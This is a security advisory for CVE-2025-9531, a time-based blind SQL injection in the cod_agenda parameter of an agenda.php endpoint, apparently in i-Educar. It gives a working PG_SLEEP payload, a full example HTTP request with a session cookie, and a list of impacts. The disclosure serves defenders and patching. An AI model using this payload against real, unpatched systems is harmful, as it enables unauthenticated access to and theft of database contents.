CVE-2025-9531: SQL Injection (Blind Time-Based) Vulnerability in cod_agenda Parameter on agenda.php Endpoint

CVE Publication: https://www.cve.org/CVERecord?id=CVE-2025-9531

Summary

A SQL Injection vulnerability was discovered in the cod_agenda parameter of the agenda.php endpoint. This issue allows any unauthenticated attacker to inject arbitrary SQL queries, potentially leading to unauthorized data access or further exploitation depending on database configuration.

Details

The application fails to properly sanitize user-supplied input in the cod_agenda parameter. As a result, specially crafted SQL payloads are interpreted directly by the backend database.

PoC

Vulnerable Endpoint: agenda.php

Parameter: cod_agenda

Payload:

1

' AND 4698=(SELECT 4698 FROM PG_SLEEP(5)) AND 'xiCO'='xiCO

Example Request

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

GET /intranet/agenda.php?cod_agenda=2%27%20AND%204698=(SELECT%204698%20FROM%20PG_SLEEP(5))%20AND%20%27xiCO%27=%27xiCO  HTTP/1.1
Host: localhost:8086
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Accept-Language: pt-BR,pt;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: i_educar_session=5AfYtvGRiuEgLBVbvksmwiNSnG75l4waXNMo1PEV
Connection: keep-alive

This payload introduces a time delay, demonstrating the ability to execute arbitrary SQL queries.

Normal request:

SQLi Request:

Observe the time delay in the server response, indicating the successful execution of the SQL payload.

Impact

• Unauthorized access to sensitive data (e.g., users, passwords, logs).
• Database enumeration (schemas, tables, users, versions).
• Escalation to RCE depending on DB configuration (e.g., xp_cmdshell, UDFs).
• Full compromise of the application if chained with other vulnerabilities.
• This issue affects all users and environments, as it does not require authentication and is reachable via a public endpoint.

Reference

https://github.com/KarinaGante/KG-Sec/blob/main/CVEs/i-Educar/CVE-2025-9531.md

Finder

Karina Gante

By: CVE-Hunters